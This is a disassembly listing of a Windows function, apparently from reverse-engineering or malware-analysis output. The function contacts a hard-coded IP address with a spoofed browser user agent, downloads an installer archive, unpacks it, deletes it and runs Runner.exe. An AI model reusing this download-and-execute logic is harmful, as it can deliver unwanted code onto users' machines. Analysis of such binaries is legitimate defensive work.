Function at 0x40d400
Capabilities:
Create process on windows
Delete file
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x68c
mov eax, dword [0x56f360]
xor eax, esp
mov dword [esp + 0x688], eax
push ebx
push esi
push edi
push 0x55105f
lea ecx, [esp + 0x20]
call fcn.00403590
push 0x55105f
lea ecx, [esp + 0x14]
call fcn.00403590
push 0x55105f
lea ecx, [esp + 0x1c]
call fcn.00403590
push 0x55105f
lea ecx, [esp + 0x18]
call fcn.00403590
and dword [esp + 0x30], 0xfffffe00
lea eax, [esp + 0x1d0]
xor ebx, ebx
push eax
mov dword [esp + 0x38], ebx
call fcn.00404430
push 0x104
lea ecx, [esp + 0x37c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x378]
push 0x5c
push edx
call fcn.004ff120
mov byte [eax], bl
lea eax, [esp + 0x380]
push eax
push str._s_version.txt
lea ecx, [esp + 0x598]
push 0x104
push ecx
call fcn.004fdb20
lea edx, [esp + 0x390]
push edx
push str._sconfig.json
lea eax, [esp + 0x4a0]
push 0x104
push eax
call fcn.004fdb20
add esp, 0x28
lea ecx, [esp + 0x588]
push ecx
lea edx, [esp + 0x3c]
push edx
call fcn.0040e3c0
push ebx
mov esi, 0xf
push 0x55105f
lea ecx, [esp + 0x1a0]
mov dword [esp + 0x1b4], esi
mov dword [esp + 0x1b0], ebx
mov byte [esp + 0x1a0], bl
call fcn.004070d0
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
cmp dword [esp + ecx + 0x44], ebx
jne 0x40d536
lea edx, [esp + 0x198]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.00408650
add esp, 8
lea eax, [esp + 0x48]
call fcn.0040f2d0
test eax, eax
jne 0x40d56e
mov ecx, dword [esp + 0x38]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x44]
lea ecx, [esp + ecx + 0x38]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x40d55d
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x40d56e
push ebx
call fcn.00404060
lea edx, [esp + 0x480]
push edx
lea eax, [esp + 0xec]
push eax
call fcn.0040e3c0
lea ecx, [esp + 0x1b4]
push ecx
lea edx, [esp + 0xec]
push edx
mov dword [esp + 0x1d0], esi
mov dword [esp + 0x1cc], ebx
mov byte [esp + 0x1bc], bl
call fcn.00408650
add esp, 8
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x1bc]
push eax
lea ecx, [esp + 0x20c]
call fcn.00407b30
mov edx, dword [esp + 0x200]
mov edi, 0x10
cmp dword [esp + 0x214], edi
jae 0x40d5e3
lea edx, [esp + 0x200]
mov ecx, dword [esp + 0x210]
lea eax, [esp + 0x28]
add ecx, edx
push eax
lea ebx, [esp + 0x1d4]
call fcn.00404560
cmp dword [esp + 0x1c8], edi
jb 0x40d616
mov ecx, dword [esp + 0x1b4]
push ecx
call fcn.0040ffb4
add esp, 4
push str.ExtensionID
lea edx, [esp + 0x2c]
push edx
call fcn.004096b0
cmp byte [eax + 8], 0
je 0x40d6ae
push str.ExtensionID
lea eax, [esp + 0x2c]
push eax
call fcn.004096b0
push eax
lea esi, [esp + 0x1b8]
call fcn.00409bb0
cmp dword [eax + 0x14], edi
jb 0x40d654
mov edx, dword [eax]
jmp 0x40d656
mov edx, eax
test edx, edx
jne 0x40d65e
xor eax, eax
jmp 0x40d66c
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d663
sub eax, esi
push eax
push edx
lea ecx, [esp + 0x24]
call fcn.004039c0
cmp dword [esp + 0x1c8], edi
jb 0x40d690
mov ecx, dword [esp + 0x1b4]
push ecx
call fcn.0040ffb4
add esp, 4
push 0x55105f
push 0x551808
lea ecx, [esp + 0x24]
call fcn.0040dbd0
mov bl, 0xa
lea edi, [esp + 0x1c]
call fcn.0040dfd0
lea eax, [esp + 0xf8]
call fcn.0040f2d0
test eax, eax
jne 0x40d6f4
mov edx, dword [esp + 0xe8]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0xf4]
lea ecx, [esp + ecx + 0xe8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40d6e2
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x40d6f4
push 0
call fcn.00404060
lea eax, [esp + 0x24]
push eax
call fcn.0040cb80
add esp, 4
push eax
mov ecx, 0x60340c
call fcn.00403750
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d72c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [0x60340c]
mov edx, dword [ecx - 0xc]
test edx, edx
jle 0x40d784
mov esi, dword [esp + 0x10]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40d794
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40d780
mov ebx, dword [eax]
cmp ebx, dword [esi]
jne 0x40d780
push eax
call fcn.004036e0
add esp, 4
mov ebx, eax
or ecx, 0xffffffff
lock xadd dword [edi], ecx
dec ecx
test ecx, ecx
jg 0x40d777
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x10], ebx
jmp 0x40d794
push edx
push ecx
jmp 0x40d78b
push 0x13
push str.http:__5.101.117.52
lea ecx, [esp + 0x18]
call fcn.004039c0
mov bl, 0x2f
lea edi, [esp + 0x10]
call fcn.0040dfd0
push 0x1b
push str._installer_version.txt_key
mov ecx, edi
call fcn.004030d0
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov ecx, edi
call fcn.004030d0
call fcn.004024b0
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x55105f
call fcn.00403590
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push 0x55105f
call fcn.00403590
push 0x55105f
push 0x55105f
push str.Mozilla_5.0__compatible__MSIE_10.0__Windows_NT_6.2__WOW64__Trident_6.0_
push 1
xor ebx, ebx
push ebx
push ebx
push ebx
push ecx
mov edx, edi
mov dword [esp + 0x48], esp
mov ecx, esp
push edx
call fcn.00403660
call fcn.004012c0
mov eax, 0x58640c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d816
sub eax, edx
je 0x40d83d
push eax
push 0x58640c
lea eax, [esp + 0x1a0]
push eax
call fcn.0040f0f0
cmp eax, 0xffffffff
jne 0x40db39
mov ecx, dword [0x60340c]
mov edx, dword [ecx - 0xc]
cmp edx, ebx
jle 0x40d894
mov esi, dword [esp + 0x10]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40d8a4
cmp dword [esi + 0xc], ebx
lea edi, [esi + 0xc]
jl 0x40d890
mov ebx, dword [eax]
cmp ebx, dword [esi]
jne 0x40d890
push eax
call fcn.004036e0
add esp, 4
mov ebx, eax
or ecx, 0xffffffff
lock xadd dword [edi], ecx
dec ecx
test ecx, ecx
jg 0x40d887
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x10], ebx
jmp 0x40d8a4
push edx
push ecx
jmp 0x40d89b
push 0x13
push str.http:__5.101.117.52
lea ecx, [esp + 0x18]
call fcn.004039c0
mov bl, 0x2f
lea edi, [esp + 0x10]
call fcn.0040dfd0
push 0x13
push str._installer.zip_key
mov ecx, edi
call fcn.004030d0
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov ecx, edi
call fcn.004030d0
lea eax, [esp + 0x378]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d8d7
sub eax, edx
push eax
lea ecx, [esp + 0x37c]
push ecx
lea ecx, [esp + 0x20]
call fcn.004039c0
push 8
push str.Tmp.zip
lea ecx, [esp + 0x20]
call fcn.004030d0
push ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], esp
mov ecx, esp
push edx
call fcn.00403660
push ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], esp
mov ecx, esp
push eax
call fcn.00403660
call fcn.0040d0e0
add esp, 8
test eax, eax
je 0x40da0b
mov ecx, dword [esp + 0x18]
push ecx
lea ecx, [esp + 0x24]
call fcn.0040fed0
lea edx, [esp + 0x378]
push edx
lea ecx, [esp + 0x28]
call fcn.0040fed0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x24]
mov ebx, dword [esp + 0x20]
push edi
push ebx
call fcn.0040d180
mov eax, dword [esp + 0x20]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x378]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d985
sub eax, edx
push eax
lea ecx, [esp + 0x37c]
push ecx
lea ecx, [esp + 0x1c]
call fcn.004039c0
push 0xb
push str.Runner.exe
lea ecx, [esp + 0x1c]
call fcn.004030d0
mov eax, dword [esp + 0x14]
xor esi, esi
push esi
lea edx, [esp + 0x254]
push edx
push eax
mov dword [esp + 0x25c], esi
mov dword [esp + 0x260], esi
mov dword [esp + 0x264], esi
mov dword [esp + 0x268], esi
mov dword [esp + 0x26c], esi
mov dword [esp + 0x270], esi
call fcn.00411999
test eax, eax
je 0x40d9ff
mov ecx, dword [esp + 0x14]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call esi
push ebx
call esi
xor ebx, ebx
lea ecx, [esp + 0x150]
call fcn.0040e530
lea eax, [esp + 0x150]
mov esi, vtable.std::ios_base.0
push eax
mov dword [esp + 0x154], esi
call fcn.0051973d
add esp, 4
cmp dword [esp + 0x1ac], 0x10
jb 0x40da4f
mov ecx, dword [esp + 0x198]
push ecx
call fcn.0040ffb4
add esp, 4
lea ecx, [esp + 0xa0]
mov dword [esp + 0x1ac], 0xf
mov dword [esp + 0x1a8], ebx
mov byte [esp + 0x198], bl
call fcn.0040e530
lea edx, [esp + 0xa0]
push edx
mov dword [esp + 0xa4], esi
call fcn.0051973d
add esp, 4
lea edi, [esp + 0x1d0]
call fcn.00406b00
lea eax, [esp + 0x28]
call fcn.00409020
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dac0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dae0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40db00
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40db20
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x694]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004fd9f8
mov esp, ebp
pop ebp
ret 0x10
lea eax, [esp + 0x378]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40db43
sub eax, edx
push eax
lea edx, [esp + 0x37c]
push edx
lea ecx, [esp + 0x1c]
call fcn.004039c0
push 0xb
push str.Runner.exe
lea ecx, [esp + 0x1c]
call fcn.004030d0
mov ecx, dword [esp + 0x14]
push ebx
lea eax, [esp + 0x254]
push eax
push ecx
mov dword [esp + 0x25c], ebx
mov dword [esp + 0x260], ebx
mov dword [esp + 0x264], ebx
mov dword [esp + 0x268], ebx
mov dword [esp + 0x26c], ebx
mov dword [esp + 0x270], ebx
call fcn.00411999
test eax, eax
je 0x40da0d
mov edx, dword [esp + 0x14]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x40da0d